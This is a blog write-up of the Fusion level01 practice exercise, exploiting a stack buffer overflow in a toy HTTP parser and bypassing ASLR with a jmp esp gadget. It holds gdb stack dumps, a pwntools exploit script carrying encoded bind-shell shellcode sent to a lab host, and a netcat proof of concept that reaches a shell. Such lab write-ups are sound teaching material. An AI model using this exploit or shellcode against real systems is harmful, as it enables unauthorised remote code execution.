Binary Exploitation Series Part 2

Welcome back folks to new write-up I was a bit confused between doing heap exploitation or get some intermediate techniques on buffer overflow so in the end I ended up doing buffer overflow exercise but with introducing new technique.

I hope this gonna be informative write-up, now let’s dive into it here’s the C source Code.

#include “../common/common.c”   

int fix_path(char *path)
{
  char resolved[128];
 
  if(realpath(path, resolved) == NULL) return 1;
  // can’t access path. will error trying to open
  strcpy(path, resolved);
}

char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;

  // printf(“[debug] buffer is at 0x%08x :-)\n”, buffer); 😀

  if(read(0, buffer, sizeof(buffer)) <= 0)
    errx(0, “Failed to read from remote host”);
  if(memcmp(buffer, “GET “, 4) != 0) errx(0, “Not a GET request”);

  path = &buffer[4];
  q = strchr(path, ‘ ‘);
  if(! q) errx(0, “No protocol version specified”);
  *q++ = 0;
  if(strncmp(q, “HTTP/1.1”, 8) != 0) errx(0, “Invalid protocol”);

  fix_path(path);

  printf(“trying to access %s\n”, path);

  return path;
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID);
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request();
}

As you can see the same exercise as the previous one but this time we are not provided with the address of the buffer and ASLR is enabled so we need to get a way to bypass ASLR and execute our shellcode.

When I first face an exercise with ASLR enabled I try three different methods:

  1. POP RET
  2. PUSH RET
  3. CALL / JMP [REG]

In this write-up we will discuss the third method which is the key to solve our problem. As written this exercise is the same as the previous one so we don’t have to check the offset for the return address but this time we want a way to get use of the third method to bypass ASLR. Let’s take a look at this gdb output 

gdb-peda$ x/60wx $esp -60
0xbfe31234:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfe31244:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfe31254:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfe31264:     0x41414141      0x41414141      0x42424242      0x90909090
0xbfe31274:     0x05eb02eb      0xfffff9e8      0xef815fff      0xffffffdf
0xbfe31284:     0xc9295e57      0x8ab8c180      0xc0412c07      0x024704e0
0xbfe31294:     0x88412c07      0x49474606      0x4244ede2      0x4146414d
0xbfe312a4:     0x4a494145      0x4146444d      0x41464145      0x424f4a49
0xbfe312b4:     0x4747414c      0x41494e4d      0x434e4244      0x47474346
0xbfe312c4:     0x44424947      0x4445434e      0x44464747      0x424f4a49
0xbfe312d4:     0x41424b47      0x41464246      0x424f4a49      0x4747414c
0xbfe312e4:     0x41494e4d      0x4a494145      0x45434545      0x44454541
0xbfe312f4:     0x414c4445      0x4e4d4747      0x44494149      0x4d41454d
0xbfe31304:     0x43464346      0x414c4445      0x4e4d4747      0x444a4149
0xbfe31314:     0x424e4a49      0x5044414c      0x41494e4d      0x41494245
gdb-peda$ i r ebp
ebp            0x41414141       0x41414141
gdb-peda$ i r eip
eip            0x42424242       0x42424242

You can see that ebp and eip are overwritten now if you take a moment and think how CPU executes instructions you will get the idea how we will use JUMP [REG] method, we know that the stack grows toward lower addresses and shrinks toward higher addresses, so far so good now what will happen when the CPU hits ret instruction it’ll actually POP the value on the top of the stack and store it in EIP register and increment the stack (depends on the arch if it’s 32-bit it’ll add 4 bytes or if it’s 64-bit it’ll add 8 bytes) so the ESP register will point on the top of our stack and that’s very good for us because it actually points to our shellcode see  0xbfe3126f see this address which points to our NOP sleds thin our shellcode I hope you get the idea by now.

We have to overwrite the return address with jmp esp instruction.

  • [Register] → [Shellcode]
  • EIP → JMP/CALL [register]
  • EIP now points to [register] where shellcode.

So to get instruction of jmp esp execute this command

fusion@fusion:/opt/fusion/bin$ /opt/metasploit-framework/msfelfscan -j esp /opt/fusion/bin/level01
[/opt/fusion/bin/level01]
0x08049f4f jmp esp

Now the fun part which crafting the python script.

#0x08049f4f jump esp
from pwn import *payload = b”
payload += b’A’*139
payload += b”B”*4
payload += b”\x90″*4
payload += b”\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA” # online shellcode which will listen on the localhost on port 5074

r = remote(“10.0.2.25”, 20001)
r.sendline(b”GET “+ payload +b” HTTP/1.1″)
print(r.recv())

To make this attack work just replace the value of BBBB with jump esp instruction.

And here’s the Proof of Concept.

gdb-peda$ quit
fusion@fusion:/opt/fusion/bin$ nc localhost 5074
id
uid=20001 gid=20001 groups=20001

For more information about jmp [reg] technique check these out:

  1. https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/
  2. https://security.stackexchange.com/questions/157478/why-jmp-esp-instead-of-directly-jumping-into-the-stack 

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s